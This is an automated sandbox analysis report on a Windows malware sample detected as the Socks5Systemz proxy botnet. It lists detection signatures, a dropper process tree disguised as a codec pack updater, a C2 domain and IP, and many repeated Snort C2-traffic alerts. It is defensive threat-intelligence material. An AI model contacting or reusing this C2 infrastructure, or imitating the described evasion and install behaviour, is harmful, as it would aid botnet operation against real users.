Edit tour

Windows Analysis Report
0RWRPBSuDx.exe

Overview

General Information

Sample name:	0RWRPBSuDx.exe renamed because original name is a hash value
Original sample name:	d19197438a7371baaac62fec8dabb3d7.exe
Analysis ID:	1417492
MD5:	d19197438a7371baaac62fec8dabb3d7
SHA1:	3252c13b0af9e6a71c11bf9ed37122b3d76064bd
SHA256:	e2de4097b80b8480f28f08bc4fc238dca38dbdcb6bbb0c77a83e3753cb03dcf7
Tags:	32exe
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Socks5Systemz

C2 URLs / IPs found in malware configuration

Contains functionality to infect the boot sector

Found API chain indicative of debugger detection

Machine Learning detection for dropped file

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

0RWRPBSuDx.exe (PID: 6892 cmdline: "C:\Users\user\Desktop\0RWRPBSuDx.exe" MD5: D19197438A7371BAAAC62FEC8DABB3D7)

0RWRPBSuDx.tmp (PID: 6940 cmdline: "C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp" /SL5="$20420,1594531,54272,C:\Users\user\Desktop\0RWRPBSuDx.exe" MD5: D8E53E1B8EA1B12BC3F40BB9F8B14F38)

codecpackupdate.exe (PID: 7040 cmdline: "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -i MD5: 0E347C627EFDED3BF78AFA21FF8B54D3)

codecpackupdate.exe (PID: 7084 cmdline: "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -s MD5: 0E347C627EFDED3BF78AFA21FF8B54D3)

cleanup

Malware Configuration

Threatname: Socks5Systemz

{"C2 list": ["bvuppwf.com"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000003.00000002.2867940792.0000000000731000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: codecpackupdate.exe PID: 7084	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Snort Signatures

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:10.764656
SID:	2050112
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:35.421196
SID:	2049467
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:59.675457
SID:	2049467
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:28.814022
SID:	2049467
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:58.279145
SID:	2050112
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:52.205310
SID:	2049467
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:48.200098
SID:	2050112
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:44.183959
SID:	2049467
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:29.458062
SID:	2050112
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:54.762452
SID:	2050112
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:25.184508
SID:	2050112
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:17.561359
SID:	2049467
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:32.211512
SID:	2050112
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:10.122007
SID:	2049467
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:21.394081
SID:	2049467
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:03.387980
SID:	2050112
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:37.749118
SID:	2049467
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:24.138039
SID:	2049467
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:47.153192
SID:	2049467
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:31.562211
SID:	2049467
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:18.201077
SID:	2050112
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:57.434224
SID:	2049467
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:25.828412
SID:	2050112
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:44.826160
SID:	2050112
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:38.599677
SID:	2050112
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:28.169308
SID:	2049467
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:32.211512
SID:	2049467
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:01.144442
SID:	2050112
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:11.403065
SID:	2050112
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:14.168811
SID:	2049467
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:45.464018
SID:	2050112
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:00.317751
SID:	2050112
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:48.200098
SID:	2049467
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:52.843294
SID:	2049467
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:17.561359
SID:	2050112
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:09.075777
SID:	2049467
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:23.090769
SID:	2049467
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:55.404429
SID:	2050112
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:36.058657
SID:	2049467
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:02.340536
SID:	2050112
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:39.978368
SID:	2050112
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:31.562211
SID:	2050112
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:00.626740
SID:	2049467
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:13.121896
SID:	2049467
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:24.138039
SID:	2050112
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:26.471385
SID:	2050112
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:39.978368
SID:	2049467
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:18.201077
SID:	2049467
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:19.483683
SID:	2050112
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:22.033829
SID:	2049467
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:01.268339
SID:	2050112
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:34.777689
SID:	2049467
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:37.106191
SID:	2049467
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:07.153408
SID:	2050112
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:43.547929
SID:	2049467
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:21.394081
SID:	2050112
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:49.480506
SID:	2050112
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:46.108211
SID:	2050112
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:44.183959
SID:	2050112
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:01.144442
SID:	2049467
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:56.055877
SID:	2050112
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:58.279145
SID:	2049467
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:52.205310
SID:	2050112
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:16.918885
SID:	2049467
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:44.826160
SID:	2049467
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:59.965425
SID:	2050112
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:36.058657
SID:	2050112
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:02.340536
SID:	2049467
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:59.031292
SID:	2050112
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:42.903229
SID:	2050112
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:09.075777
SID:	2050112
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:07.805203
SID:	2049467
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:53.482569
SID:	2050112
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:25.184508
SID:	2049467
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:20.124059
SID:	2049467
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:03.080619
SID:	2050112
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:11.403065
SID:	2049467
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:32.856145
SID:	2050112
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:28.169308
SID:	2050112
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:54.762452
SID:	2049467
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:50.109189
SID:	2049467
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:02.442251
SID:	2050112
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:58:57.434224
SID:	2050112
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:08.435175
SID:	2050112
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-13:00:01.795965
SID:	2049467
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:56.055877
SID:	2049467
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:13.121896
SID:	2050112
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:33.499589
SID:	2049467
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:15.452590
SID:	2050112
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:54.123875
SID:	2049467
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

Timestamp:	03/29/24-12:59:49.480506
SID:	2049467
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 45.142.214.240

